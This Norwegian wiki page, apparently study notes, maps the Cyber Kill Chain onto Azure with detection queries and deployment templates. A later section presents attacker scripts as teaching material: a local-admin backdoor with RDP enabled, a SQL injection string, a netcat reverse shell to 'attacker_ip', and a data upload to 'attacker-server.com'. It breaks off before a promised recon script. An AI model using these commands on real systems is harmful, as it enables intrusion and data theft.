Acure Secuirty_The Cyber Kill Chain - itnett/FTD02H-N GitHub Wiki

The Cyber Kill Chain, utviklet av Lockheed Martin, beskriver de forskjellige stadiene av et cyberangrep. For å illustrere denne kjeden innenfor Azure-tjenester, vil vi dekke hvert trinn med relevante eksempler og tiltak innen Azure.

1. Reconnaissance (Rekognosering):

   • Beskrivelse: Angriperen samler informasjon om målet, som IP-adresser, domener, og e-postadresser.
   • Eksempler i Azure: Angripere kan bruke offentlige data fra Azure AD, offentlige lagringskontoer eller misbrukte Azure-funksjoner.
   • Tiltak: Bruk Azure Security Center for å overvåke og oppdage mistenkelig aktivitet. Implementer strenge tilgangskontroller.

2. Weaponization (Våpenmaking):

   • Beskrivelse: Angriperen lager et skadelig våpen, som malware eller phishing-e-post.
   • Eksempler i Azure: Bruk av Azure Functions for å hoste skadelig kode.
   • Tiltak: Bruk av Azure Advanced Threat Protection (ATP) for å overvåke og respondere på mistenkelig aktivitet.

3. Delivery (Levering):

   • Beskrivelse: Skadelig kode leveres til målet via e-post, sårbare applikasjoner, eller andre metoder.
   • Eksempler i Azure: Phishing-e-poster sendt til brukere av Office 365.
   • Tiltak: Bruk av Microsoft Defender for Office 365 for å beskytte mot phishing-angrep og skadelig programvare.

4. Exploitation (Utnyttelse):

   • Beskrivelse: Angriperen utnytter sårbarheter for å få tilgang til systemet.
   • Eksempler i Azure: Utnyttelse av sårbarheter i en utdatert Azure VM eller applikasjon.
   • Tiltak: Regelmessig patching og oppdatering av systemer. Bruk Azure Security Center for sårbarhetsskanning.

5. Installation (Installasjon):

   • Beskrivelse: Skadelig kode installeres på målets system.
   • Eksempler i Azure: Installering av bakdører eller malware på Azure VM-er.
   • Tiltak: Bruk av Microsoft Defender for Endpoint for å oppdage og respondere på skadelig programvareinstallasjoner.

6. Command and Control (C2):

   • Beskrivelse: Angriperen etablerer kommunikasjon med det kompromitterte systemet.
   • Eksempler i Azure: Bruk av Azure VM eller Azure Functions som C2-server.
   • Tiltak: Overvåk nettverkstrafikk med Azure Network Watcher og Azure Sentinel for å oppdage og blokkere C2-trafikk.

7. Actions on Objectives (Måloppretting):

   • Beskrivelse: Angriperen utfører de endelige målene, som datatyveri, ødeleggelse, eller løsepengevirus.
   • Eksempler i Azure: Exfiltrasjon av sensitive data fra Azure Storage eller SQL Database.
   • Tiltak: Bruk av dataeksfiltrasjonsregler i Azure Information Protection og overvåking med Azure Sentinel.

Ved å forstå og implementere sikkerhetstiltak mot hvert trinn i Cyber Kill Chain, kan organisasjoner bedre beskytte sine Azure-tjenester og redusere risikoen for vellykkede cyberangrep.

Her er en oversikt over hvordan du kan oppdage, reagere på, forhindre og iverksette tiltak for hver fase av Cyber Kill Chain i Azure ved hjelp av Kusto Query Language (KQL) og PowerShell CLI. Vi tar for oss hver fase med eksempler.

1. Reconnaissance (Rekognosering)

Oppdage med KQL:

AzureActivity
| where OperationNameValue == "ListKeys" or OperationNameValue == "ListSecrets"
| summarize Count = count() by Caller, OperationNameValue, ResourceGroup, ResourceName, _ResourceId

Oppdage med PowerShell:

Search-AzGraph -Query 'where type == "microsoft.keyvault/vaults"'

Tiltak:

• Oppdage: Bruk Azure Security Center for å overvåke uvanlige aktiviteter.
• Reagere: Undersøk og blokker mistenkelige IP-adresser eller brukere.
• Forhindre: Implementer strenge tilgangskontroller.
• Gjøre tiltak: Aktiver logging og overvåking av alle viktige ressurser.

2. Weaponization (Våpenmaking)

Oppdage med KQL:

SecurityAlert
| where AlertName == "Suspicious Activity"
| summarize Count = count() by AlertName, Description, Severity, StartTimeUtc

Oppdage med PowerShell:

Get-AzSecurityAlert -Severity "High"

Tiltak:

• Oppdage: Bruk Azure Advanced Threat Protection (ATP) for å identifisere skadelig aktivitet.
• Reagere: Blokker og fjern ondsinnet kode.
• Forhindre: Bruk avansert e-postsikkerhet og innholdsfiltrering.
• Gjøre tiltak: Oppdater regler og signaturer regelmessig for sikkerhetsverktøy.

3. Delivery (Levering)

Oppdage med KQL:

EmailEvents
| where EventType == "MalwareDetected"
| summarize Count = count() by EmailSender, RecipientEmailAddress, MalwareName, Timestamp

Oppdage med PowerShell:

Get-MessageTrace -EventType MalwareDetected

Tiltak:

• Oppdage: Bruk Microsoft Defender for Office 365 for å detektere phishing.
• Reagere: Fjern ondsinnede meldinger fra mottakernes innbokser.
• Forhindre: Konfigurer avanserte trusselbeskyttelsesregler.
• Gjøre tiltak: Tren brukere i å gjenkjenne phishing-forsøk.

4. Exploitation (Utnyttelse)

Oppdage med KQL:

SecurityEvent
| where EventID == 4625
| summarize Count = count() by Account, Computer, EventTime

Oppdage med PowerShell:

Get-WinEvent -FilterHashtable @{LogName='Security';ID=4625}

Tiltak:

• Oppdage: Bruk Azure Security Center for sårbarhetsskanning.
• Reagere: Utfør umiddelbare patching og oppdateringer.
• Forhindre: Implementer multifaktorautentisering (MFA).
• Gjøre tiltak: Kontinuerlig overvåking og oppdatering av systemer.

5. Installation (Installasjon)

Oppdage med KQL:

SecurityEvent
| where EventID == 4688
| where ProcessName contains "malware.exe"

Oppdage med PowerShell:

Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688} | Where-Object {$_.Message -match "malware.exe"}

Tiltak:

• Oppdage: Bruk Microsoft Defender for Endpoint.
• Reagere: Fjern og isoler infiserte enheter.
• Forhindre: Bruk applikasjonskontroll for å begrense hvilke applikasjoner som kan kjøres.
• Gjøre tiltak: Regelmessig oppdatering av antivirus- og antimalware-signaturer.

6. Command and Control (C2)

Oppdage med KQL:

AzureDiagnostics
| where ResourceType == "NETWORKSECURITYGROUPS"
| where msg_s contains "C2Server"

Oppdage med PowerShell:

Search-AzGraph -Query 'where type == "microsoft.network/networksecuritygroups" and properties.rules.contains("C2Server")'

Tiltak:

• Oppdage: Overvåk nettverkstrafikk med Azure Network Watcher.
• Reagere: Blokker kommunikasjon til kjente C2-servere.
• Forhindre: Implementer strenge nettverksregler og segmentering.
• Gjøre tiltak: Bruk IDS/IPS systemer for å detektere og forhindre C2-trafikk.

7. Actions on Objectives (Måloppretting)

Oppdage med KQL:

AzureDiagnostics
| where ResourceType == "STORAGEACCOUNTS" and OperationNameValue == "GetBlob"
| summarize Count = count() by Resource, CallerIpAddress, _ResourceId

Oppdage med PowerShell:

Get-AzStorageBlob -Container "logs" -Context $ctx

Tiltak:

• Oppdage: Bruk Azure Sentinel til å overvåke dataeksfiltrasjon.
• Reagere: Stopp og begrens tilgangen til berørte ressurser.
• Forhindre: Bruk dataeksfiltrasjonsregler og overvåking.
• Gjøre tiltak: Gjennomfør regelmessige sikkerhetsvurderinger og penetrasjonstester.

Ved å bruke disse metodene kan du oppdage, reagere på, forhindre og iverksette tiltak mot trusler i hver fase av Cyber Kill Chain innenfor Azure.

En Azure Blueprint kan hjelpe med å sikre og standardisere implementeringen av sikkerhetstiltak på tvers av Azure-tjenester for å dekke alle aspekter av Cyber Kill Chain. Her er en oversikt over hvordan du kan opprette en slik blueprint, inkludert hvilke tjenester og konfigurasjoner som skal inkluderes for hver fase av Cyber Kill Chain:

1. Reconnaissance (Rekognosering)

• Azure Security Center: Aktiver Advanced Security Management for å overvåke uvanlige aktiviteter.
• Log Analytics: Konfigurer overvåking av aktivitet og tilgangsmønstre.
• Azure Policy: Implementer policyer for å forhindre eksponering av sensitive data og tjenester.

2. Weaponization (Våpenmaking)

• Azure Advanced Threat Protection (ATP): Bruk ATP for å identifisere og reagere på mistenkelig aktivitet og skadelig programvare.
• Microsoft Defender for Cloud Apps: Overvåk og beskytt skyapplikasjoner mot trusler.

3. Delivery (Levering)

• Microsoft Defender for Office 365: Konfigurer phishing-beskyttelse og malware-filtrering.
• Azure Information Protection: Klassifiser og beskytt sensitive dokumenter og e-poster.

4. Exploitation (Utnyttelse)

• Azure Security Center: Aktiver trusselbeskyttelse og sårbarhetsskanning.
• Azure Update Management: Automatiser patching og oppdateringer for VM-er.

5. Installation (Installasjon)

• Microsoft Defender for Endpoint: Distribuer og konfigurer for å beskytte endepunkter mot malware og trusler.
• Azure Policy: Opprett og håndhev policyer for applikasjonskontroll.

6. Command and Control (C2)

• Azure Network Watcher: Overvåk nettverkstrafikk for å identifisere og blokkere mistenkelige forbindelser.
• Azure Firewall: Konfigurer for å blokkere tilgang til kjente C2-servere.
• Azure Sentinel: Bruk for avansert trusseljakt og overvåking.

7. Actions on Objectives (Måloppretting)

• Azure Sentinel: Bruk til å overvåke og respondere på dataeksfiltrasjon og andre sluttmål.
• Azure Information Protection: Beskytt data mot uautorisert tilgang og eksfiltrasjon.
• Azure Key Vault: Sikre sensitive nøkler og hemmeligheter.

Eksempel på Azure Blueprint Definition

Her er en forenklet JSON-struktur for en Azure Blueprint som inkluderer disse elementene:

{
  "properties": {
    "blueprintName": "CyberKillChainSecurityBlueprint",
    "description": "Blueprint for securing Azure services against the Cyber Kill Chain.",
    "targetScope": "subscription",
    "parameters": {},
    "resourceGroups": {
      "rg-security": {
        "description": "Resource group for security resources",
        "location": "eastus"
      }
    },
    "policies": [
      {
        "name": "Deploy-SecurityCenter",
        "properties": {
          "policyDefinitionId": "/providers/Microsoft.Authorization/policyDefinitions/6a0e173e-cfda-4d7e-9d25-05297c431407",
          "parameters": {}
        }
      },
      {
        "name": "Deploy-ATP",
        "properties": {
          "policyDefinitionId": "/providers/Microsoft.Authorization/policyDefinitions/2cd9e1e5-7787-4e96-abc7-f853b5d73a5c",
          "parameters": {}
        }
      },
      {
        "name": "Deploy-DefenderForO365",
        "properties": {
          "policyDefinitionId": "/providers/Microsoft.Authorization/policyDefinitions/9c8a3bf6-e749-4f7c-9533-1e5b7b007dd5",
          "parameters": {}
        }
      },
      {
        "name": "Deploy-UpdateManagement",
        "properties": {
          "policyDefinitionId": "/providers/Microsoft.Authorization/policyDefinitions/51e24237-4c27-4a53-826b-1b5d531726d4",
          "parameters": {}
        }
      },
      {
        "name": "Deploy-NetworkWatcher",
        "properties": {
          "policyDefinitionId": "/providers/Microsoft.Authorization/policyDefinitions/77ac1eb7-341f-4db6-b877-b32e7b44304b",
          "parameters": {}
        }
      },
      {
        "name": "Deploy-AzureFirewall",
        "properties": {
          "policyDefinitionId": "/providers/Microsoft.Authorization/policyDefinitions/af3400cf-8488-4c7e-94e2-1155027e55c6",
          "parameters": {}
        }
      }
    ],
    "roleAssignments": [
      {
        "principalIds": [],
        "roleDefinitionId": "/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
        "principalType": "User"
      }
    ],
    "artifacts": [
      {
        "type": "Azure Resource Manager template",
        "name": "Deploy-Sentinel",
        "properties": {
          "template": {
            "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
            "contentVersion": "1.0.0.0",
            "resources": [
              {
                "type": "Microsoft.OperationalInsights/workspaces",
                "apiVersion": "2019-09-01",
                "name": "[parameters('workspaceName')]",
                "location": "[resourceGroup().location]",
                "properties": {
                  "sku": {
                    "name": "PerGB2018"
                  }
                }
              },
              {
                "type": "Microsoft.SecurityInsights/alertRules",
                "apiVersion": "2020-01-01-preview",
                "name": "[concat(parameters('workspaceName'), '/DataExfiltrationAlert')]",
                "properties": {
                  "enabled": true,
                  "query": "AzureDiagnostics | where ResourceType == 'STORAGEACCOUNTS' and OperationNameValue == 'GetBlob' | summarize Count = count() by Resource, CallerIpAddress, _ResourceId",
                  "queryFrequency": "PT5M",
                  "queryPeriod": "PT5M",
                  "severity": "High",
                  "triggerOperator": "GreaterThan",
                  "triggerThreshold": 0,
                  "displayName": "Potential Data Exfiltration",
                  "description": "Detects potential data exfiltration activities."
                }
              }
            ]
          }
        }
      }
    ]
  }
}

Forklaring av Blueprint-komponenter:

• Policy Assignments: Bruk Azure Policy til å implementere og håndheve sikkerhetstiltak.
• Role Assignments: Tilordne nødvendige roller for tilgangskontroll.
• ARM Templates: Bruk ARM-mal for å implementere Azure Sentinel, overvåking, og sikkerhetsregler.

Ved å implementere denne blueprinten kan organisasjoner sikre at de har en robust sikkerhetsstruktur som dekker alle faser av Cyber Kill Chain i Azure.

Ja, du kan automatisere oppsettet av et dashboard i Azure som viser viktige indikatorer for Cyber Kill Chain. Dette kan gjøres ved hjelp av Azure Monitor, Azure Sentinel, og Azure Logic Apps. Her er en steg-for-steg guide til hvordan du kan opprette et slikt dashboard:

Trinn 1: Opprett og Konfigurer Log Analytics Workspace

1. Gå til Azure-portalen og opprett en ny Log Analytics Workspace.
2. Koble relevante ressurser (f.eks. VM-er, applikasjoner, nettverk) til Log Analytics Workspace for å samle inn data.

Trinn 2: Aktiver Azure Sentinel

1. Gå til din Log Analytics Workspace.
2. Aktiver Azure Sentinel ved å klikke på "Azure Sentinel" og deretter "Onboard".

Trinn 3: Opprett KQL Spørringer for Key Indicators

Utvikle KQL-spørringer for å identifisere aktiviteter i hver fase av Cyber Kill Chain. Eksempler:

Reconnaissance:

AzureActivity
| where OperationNameValue == "ListKeys" or OperationNameValue == "ListSecrets"
| summarize Count = count() by Caller, OperationNameValue, ResourceGroup, ResourceName, _ResourceId

Weaponization:

SecurityAlert
| where AlertName == "Suspicious Activity"
| summarize Count = count() by AlertName, Description, Severity, StartTimeUtc

Delivery:

EmailEvents
| where EventType == "MalwareDetected"
| summarize Count = count() by EmailSender, RecipientEmailAddress, MalwareName, Timestamp

Trinn 4: Opprett og Konfigurer Azure Monitor Dashboard

1. Gå til Azure-portalen og opprett et nytt Dashboard.
2. Legg til en ny "Tile" for Log Analytics og velg den relevante Workspacen.
3. Legg til dine KQL-spørringer for hver fase av Cyber Kill Chain som Log Analytics Queries i dashboardet.
4. Tilpass visualiseringene (f.eks. diagrammer, tabeller) for hver spørring.

Trinn 5: Automatiser Dashboard Opprettelse med ARM Mal

Du kan bruke en ARM-mal for å automatisere opprettelsen av dashboardet. Her er et eksempel på en slik mal:

{
  "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
  "contentVersion": "1.0.0.0",
  "resources": [
    {
      "type": "Microsoft.Portal/dashboards",
      "apiVersion": "2020-09-01-preview",
      "name": "CyberKillChainDashboard",
      "location": "[resourceGroup().location]",
      "properties": {
        "lenses": {
          "0": {
            "order": 0,
            "parts": {
              "0": {
                "position": {
                  "x": 0,
                  "y": 0,
                  "colSpan": 3,
                  "rowSpan": 3
                },
                "metadata": {
                  "inputs": [
                    {
                      "name": "ComponentId",
                      "value": "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]"
                    },
                    {
                      "name": "Query",
                      "value": "AzureActivity | where OperationNameValue == 'ListKeys' or OperationNameValue == 'ListSecrets' | summarize Count = count() by Caller, OperationNameValue, ResourceGroup, ResourceName, _ResourceId"
                    }
                  ],
                  "type": "Microsoft.AzureMonitor.LogAnalytics"
                }
              },
              "1": {
                "position": {
                  "x": 3,
                  "y": 0,
                  "colSpan": 3,
                  "rowSpan": 3
                },
                "metadata": {
                  "inputs": [
                    {
                      "name": "ComponentId",
                      "value": "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]"
                    },
                    {
                      "name": "Query",
                      "value": "SecurityAlert | where AlertName == 'Suspicious Activity' | summarize Count = count() by AlertName, Description, Severity, StartTimeUtc"
                    }
                  ],
                  "type": "Microsoft.AzureMonitor.LogAnalytics"
                }
              }
            }
          }
        },
        "metadata": {
          "model": {
            "timeRange": {
              "value": {
                "relative": "24h"
              }
            }
          }
        }
      }
    }
  ]
}

Trinn 6: Deploy ARM Mal med PowerShell eller Azure CLI

PowerShell:

New-AzResourceGroupDeployment -ResourceGroupName "YourResourceGroup" -TemplateFile "path_to_template.json"

Azure CLI:

az deployment group create --resource-group YourResourceGroup --template-file path_to_template.json

Trinn 7: Automatiser Oppdatering av Dashboard med Azure Logic Apps

1. Opprett en ny Logic App i Azure.
2. Konfigurer en trigger for å kjøre KQL-spørringene periodisk.
3. Oppdater dashboardet ved hjelp av Azure Monitor API for å reflektere ny data.

Ved å følge disse trinnene kan du opprette og automatisere et dashboard som kontinuerlig viser viktige indikatorer for Cyber Kill Chain i Azure.

Ja, selvfølgelig! La oss gå gjennom implementeringen steg for steg.

Trinn 1: Opprett og Konfigurer Log Analytics Workspace

1. Opprett Log Analytics Workspace
   • Gå til Azure-portalen.
   • Søk etter "Log Analytics workspaces" og klikk "Add".
   • Fyll inn nødvendige detaljer som ressursgruppe, navn og plassering, og klikk "Review + Create".

Trinn 2: Aktiver Azure Sentinel

1. Aktiver Azure Sentinel
   • Gå til Log Analytics Workspace du nettopp opprettet.
   • Klikk på "Azure Sentinel" i venstre meny og klikk deretter "Add".
   • Velg din Log Analytics Workspace og klikk "Add Azure Sentinel".

Trinn 3: Opprett KQL Spørringer for Key Indicators

Opprett spørringene i Log Analytics for å få indikatorer for hver fase av Cyber Kill Chain.

Eksempelspørringer:

Reconnaissance:

AzureActivity
| where OperationNameValue == "ListKeys" or OperationNameValue == "ListSecrets"
| summarize Count = count() by Caller, OperationNameValue, ResourceGroup, ResourceName, _ResourceId

Weaponization:

SecurityAlert
| where AlertName == "Suspicious Activity"
| summarize Count = count() by AlertName, Description, Severity, StartTimeUtc

Trinn 4: Opprett og Konfigurer Azure Monitor Dashboard

1. Opprett Dashboard
   • Gå til Azure-portalen og klikk på "Dashboard" i toppmenyen.
   • Klikk "New dashboard".
   • Legg til en "Tile" for Log Analytics.
   • Velg din Log Analytics Workspace og legg til spørringene fra trinn 3.
   • Tilpass visualiseringen (f.eks. diagrammer, tabeller).

Trinn 5: Automatiser Dashboard Opprettelse med ARM Mal

Bruk følgende ARM-mal for å opprette dashboardet automatisk.

dashboard-template.json:

{
  "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
  "contentVersion": "1.0.0.0",
  "resources": [
    {
      "type": "Microsoft.Portal/dashboards",
      "apiVersion": "2020-09-01-preview",
      "name": "CyberKillChainDashboard",
      "location": "[resourceGroup().location]",
      "properties": {
        "lenses": {
          "0": {
            "order": 0,
            "parts": {
              "0": {
                "position": {
                  "x": 0,
                  "y": 0,
                  "colSpan": 3,
                  "rowSpan": 3
                },
                "metadata": {
                  "inputs": [
                    {
                      "name": "ComponentId",
                      "value": "[resourceId('Microsoft.OperationalInsights/workspaces', 'YourWorkspaceName')]"
                    },
                    {
                      "name": "Query",
                      "value": "AzureActivity | where OperationNameValue == 'ListKeys' or OperationNameValue == 'ListSecrets' | summarize Count = count() by Caller, OperationNameValue, ResourceGroup, ResourceName, _ResourceId"
                    }
                  ],
                  "type": "Microsoft.AzureMonitor.LogAnalytics"
                }
              },
              "1": {
                "position": {
                  "x": 3,
                  "y": 0,
                  "colSpan": 3,
                  "rowSpan": 3
                },
                "metadata": {
                  "inputs": [
                    {
                      "name": "ComponentId",
                      "value": "[resourceId('Microsoft.OperationalInsights/workspaces', 'YourWorkspaceName')]"
                    },
                    {
                      "name": "Query",
                      "value": "SecurityAlert | where AlertName == 'Suspicious Activity' | summarize Count = count() by AlertName, Description, Severity, StartTimeUtc"
                    }
                  ],
                  "type": "Microsoft.AzureMonitor.LogAnalytics"
                }
              }
            }
          }
        },
        "metadata": {
          "model": {
            "timeRange": {
              "value": {
                "relative": "24h"
              }
            }
          }
        }
      }
    }
  ]
}

Deploy ARM-malen:

PowerShell:

New-AzResourceGroupDeployment -ResourceGroupName "YourResourceGroup" -TemplateFile "path_to_dashboard-template.json"

Azure CLI:

az deployment group create --resource-group YourResourceGroup --template-file path_to_dashboard-template.json

Trinn 6: Automatiser Oppdatering av Dashboard med Azure Logic Apps

1. Opprett Logic App

   • Gå til Azure-portalen og søk etter "Logic Apps".
   • Klikk "Add" og opprett en ny Logic App.

2. Konfigurer Logic App

   • Velg en trigger (f.eks. "Recurrence" for å kjøre spørringen periodisk).
   • Legg til en handling for å kjøre en KQL-spørring i Log Analytics.
   • Legg til en handling for å oppdatere dashboardet med resultatene fra spørringen.

Eksempel på Logic Apps Workflow

{
  "definition": {
    "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
    "actions": {
      "Run_query_and_list_results": {
        "inputs": {
          "host": {
            "api": {
              "runtimeUrl": "https://logic-apis-westeurope.azure-apim.net/apim/loganalytics"
            },
            "connection": {
              "name": "@parameters('$connections')['azureloganalytics']['connectionId']"
            }
          },
          "method": "get",
          "path": "/query",
          "queries": {
            "workspaceId": "<YourWorkspaceId>",
            "query": "AzureActivity | where OperationNameValue == 'ListKeys' or OperationNameValue == 'ListSecrets' | summarize Count = count() by Caller, OperationNameValue, ResourceGroup, ResourceName, _ResourceId"
          }
        },
        "runAfter": {},
        "type": "ApiConnection"
      }
    },
    "triggers": {
      "Recurrence": {
        "recurrence": {
          "frequency": "Day",
          "interval": 1
        },
        "type": "Recurrence"
      }
    }
  },
  "parameters": {
    "$connections": {
      "defaultValue": {},
      "type": "Object"
    }
  }
}

Ved å følge disse trinnene kan du sette opp et automatisert dashboard i Azure som viser nøkkelindikatorer for hver fase av Cyber Kill Chain. Dette dashboardet vil gi deg en omfattende oversikt over sikkerhetstilstanden og hjelpe deg med å raskt oppdage og reagere på trusler.

Selv om jeg kan gi deg en teoretisk oversikt over hvordan en hacker kan forsøke å utnytte Azure-tjenester i henhold til Cyber Kill Chain, er det viktig å merke seg at dette er ment for forståelse og forsvar, ikke for å fremme ondsinnede aktiviteter.

1. Reconnaissance (Rekognosering)

Skript for Rekognosering: En angriper kan bruke verktøy som PowerShell og Azure CLI til å samle informasjon om Azure-miljøet.

PowerShell Skript:

# Log in to Azure
Connect-AzAccount

# List all subscriptions
Get-AzSubscription

# List all resource groups in the subscription
Get-AzResourceGroup

# List all resources in a specific resource group
Get-AzResource -ResourceGroupName "example-resource-group"

# List virtual machines and their details
Get-AzVM

Azure CLI Skript:

# Log in to Azure
az login

# List all subscriptions
az account list

# List all resource groups
az group list

# List all resources in a specific resource group
az resource list --resource-group example-resource-group

# List virtual machines and their details
az vm list --output table

2. Weaponization (Våpenmaking)

Skript for å lage en nyttelast: Angriperen kan lage en skadelig nyttelast, som en trojansk hest eller et skript som utnytter sårbarheter.

Eksempel på en enkel PowerShell nyttelast:

# This script creates a backdoor by adding a new user and granting administrative privileges

# Create a new user
New-LocalUser -Name "hacker" -Password (ConvertTo-SecureString "Password123" -AsPlainText -Force)

# Add the user to the Administrators group
Add-LocalGroupMember -Group "Administrators" -Member "hacker"

3. Delivery (Levering)

Skript for levering av skadelig nyttelast: En angriper kan levere skadelig kode via phishing eller andre metoder.

PowerShell for å laste opp skadelig skript til en lagringskonto:

# Log in to Azure
Connect-AzAccount

# Create a storage account
$storageAccount = New-AzStorageAccount -ResourceGroupName "example-resource-group" -Name "examplestorageaccount" -Location "EastUS" -SkuName "Standard_LRS"

# Get storage account context
$ctx = $storageAccount.Context

# Upload the malicious script to the storage account
Set-AzStorageBlobContent -File "malicious-script.ps1" -Container "scripts" -Blob "malicious-script.ps1" -Context $ctx

4. Exploitation (Utnyttelse)

Utnytte en sårbarhet i en applikasjon: Angriperen kan bruke kjente sårbarheter i applikasjoner som kjører på Azure VMs.

Eksempel på SQL Injection:

SELECT * FROM Users WHERE Username = 'admin' OR '1'='1' --' AND Password = 'password';

5. Installation (Installasjon)

Installer en bakdør: En angriper kan installere en bakdør for å få vedvarende tilgang.

PowerShell Skript for å installere en bakdør:

# Create a new user
New-LocalUser -Name "hacker" -Password (ConvertTo-SecureString "Password123" -AsPlainText -Force)

# Add the user to the Administrators group
Add-LocalGroupMember -Group "Administrators" -Member "hacker"

# Configure RDP to allow remote connections
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\' -Name "fDenyTSConnections" -Value 0

# Open the RDP port in the firewall
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

6. Command and Control (C2)

Etabler Command and Control-kanal: Angriperen kan bruke verktøy som Netcat for å etablere en C2-kanal.

Netcat Eksempel:

# On the attacker's machine
nc -lvp 4444

# On the victim's machine
nc attacker_ip 4444 -e cmd.exe

7. Actions on Objectives (Måloppretting)

Exfiltrering av data: Angriperen kan forsøke å eksfiltrere data fra Azure Storage.

PowerShell Skript for å eksfiltrere data:

# Log in to Azure
Connect-AzAccount

# Get storage account context
$storageAccount = Get-AzStorageAccount -ResourceGroupName "example-resource-group" -Name "examplestorageaccount"
$ctx = $storageAccount.Context

# Download sensitive data from the storage account
Get-AzStorageBlobContent -Container "sensitive-data" -Blob "confidential.txt" -Destination "C:\Users\Public\confidential.txt" -Context $ctx

# Upload the data to the attacker's server
Invoke-WebRequest -Uri "http://attacker-server.com/upload" -Method Post -InFile "C:\Users\Public\confidential.txt"

Forsvar og Sikkerhetstiltak

For å beskytte mot disse angrepene, bør du:

1. Oppdage: Bruk Azure Security Center, Azure Sentinel og Log Analytics for å overvåke mistenkelig aktivitet.
2. Reagere: Ha et responsplan for sikkerhetshendelser på plass.
3. Forhindre: Implementer strenge tilgangskontroller, multifaktorautentisering (MFA), og regelmessige sikkerhetsoppdateringer.
4. Gjøre tiltak: Tren ansatte i sikkerhetsbevissthet og utfør regelmessige sikkerhetsvurderinger og penetrasjonstester.

Ved å forstå disse angrepsmetodene kan du bedre forberede og beskytte dine Azure-tjenester mot trusler.

La oss gå gjennom et eksempel på hvordan en tenkt hacker kan utføre rekognosering for et selskap som bruker Azure-tjenester, inkludert Exchange Online, ved hjelp av verktøy som dig, whois, og informasjon fra SSL-sertifikater.

1. Innledende Rekognosering

Hackerens første trinn er å samle informasjon om selskapets domenenavn, e-postadresser, og nettverksinfrastruktur.

Bruke dig for å samle DNS-informasjon:

dig er et verktøy for å hente DNS-informasjon.

# Sjekke MX-poster for domenet for å finne e-posttjenester
dig MX example.com

# Sjekke CNAME-poster for å finne eksterne tjenester
dig CNAME example.com

# Sjekke TXT-poster for å finne SPF, DKIM, og DMARC-poster
dig TXT example.com

Bruke whois for å samle domeneregisterinformasjon:

whois gir informasjon om domeneregistreringen.

# Sjekke whois informasjon for domenet
whois example.com

2. Identifisere Exchange Online

Hackerens mål er å finne ut om selskapet bruker Exchange Online for e-posttjenester. Dette kan gjøres ved å analysere MX-poster og Autodiscover-poster.

Sjekke om selskapet bruker Office 365/Exchange Online:

# Sjekke Autodiscover-posten for domenet
dig CNAME autodiscover.example.com

# Sjekke MX-poster for domenet
dig MX example.com

Hvis MX-poster peker til *.protection.outlook.com eller *.mail.protection.outlook.com, er det sannsynlig at selskapet bruker Exchange Online.

3. Hente SSL-sertifikat informasjon:

SSL-sertifikater kan gi informasjon om domenenavn og tilhørende tjenester.

# Sjekke SSL-sertifikat informasjon for domenet
openssl s_client -connect example.com:443

# Hente detaljer fra SSL-sertifikatet
openssl x509 -in cert.pem -noout -text

4. Skript for å sjekke Exchange Online og legacy tjenester:

Hackerens skript kan automatisere sjekkene for Exchange Online og legacy tjenester som SMTP, POP3, og IMAP.

PowerShell Skript:

# Function to check DNS records
function Get-DnsRecord {
    param (
        [string]$domain,
        [string]$recordType
    )
    $dnsRecord = Resolve-DnsName -Name $domain -Type $recordType
    return $dnsRecord
}

# Check MX records
$mxRecords = Get-DnsRecord -domain "example.com" -recordType "MX"
$mxRecords

# Check Autodiscover CNAME record
$autodiscoverRecord = Get-DnsRecord -domain "autodiscover.example.com" -recordType "CNAME"
$autodiscoverRecord

# Check if the domain uses Exchange Online
if ($mxRecords.NameHost -match "protection.outlook.com") {
    Write-Output "Domain uses Exchange Online"
} else {
    Write-Output "Domain does not use Exchange Online"
}

# Check legacy email services (SMTP, POP3, IMAP)
$legacyServices = @("smtp.example.com", "pop3.example.com", "imap.example.com")
foreach ($service in $legacyServices) {
    try {
        $connection = Test-NetConnection -ComputerName $service -Port 25, 110, 143
        if ($connection.TcpTestSucceeded) {
            Write-Output "$service is reachable on port $($connection.RemotePort)"
        } else {
            Write-Output "$service is not reachable on port $($connection.RemotePort)"
        }
    } catch {
        Write-Output "Could not connect to $service"
    }
}

5. Oppdage tenant domain.onmicrosoft.com UPN:

Ved å kombinere informasjon fra DNS-oppslag og Azure AD, kan en hacker potensielt finne tenantens domain.onmicrosoft.com UPN.

Skript for å finne tenant:

# Function to get tenant information from DNS
function Get-TenantInfo {
    param (
        [string]$domain
    )
    $record = Resolve-DnsName -Name $domain -Type TXT | Where-Object { $_.Strings -match "MS=" }
    return $record
}

# Get tenant information
$tenantInfo = Get-TenantInfo -domain "example.com"
$tenantInfo

# Extract tenant UPN
if ($tenantInfo) {
    $upn = $tenantInfo.Strings -match "MS=(.*)"
    Write-Output "Tenant UPN: $($matches[1]).onmicrosoft.com"
} else {
    Write-Output "Tenant UPN not found"
}

6. Sjekke om legacy tjenester som SMTP, POP3, IMAP er aktive:

Dette er allerede dekket i PowerShell-skriptet ovenfor, som tester forbindelsen til SMTP, POP3, og IMAP.

Forsvar og Sikkerhetstiltak

For å beskytte mot denne typen rekognosering:

1. Oppdage: Bruk Azure Security Center og Azure Sentinel for å overvåke DNS-forespørsler og uvanlig aktivitet.
2. Reagere: Blokker IP-adresser som utfører rekognoseringsaktiviteter.
3. Forhindre: Implementer strenge tilgangskontroller og bruk multifaktorautentisering (MFA).
4. Gjøre tiltak: Begrens offentlig eksponering av sensitive tjenester og data.

Ved å forstå disse trinnene kan du bedre beskytte dine Azure-tjenester mot rekognoseringsangrep.

For å utføre mer avansert rekognosering og utnytte Open-source Intelligence (OSINT) verktøy som bruker API-er for å hente informasjon om en gitt tenant, kan vi bruke en kombinasjon av PowerShell og MS Graph API. Vi kan også bruke AADInternals PowerShell-modulen for fullstendig rekognosering.

Eksempel Skript med PowerShell og MS Graph API

Dette skriptet vil:

1. Hente informasjon om en tenant ved hjelp av MS Graph API.
2. Bruke AADInternals PowerShell-modulen for å utvide rekognoseringen.
3. Sjekke status for CBA og AAD Connect Cloud Sync.
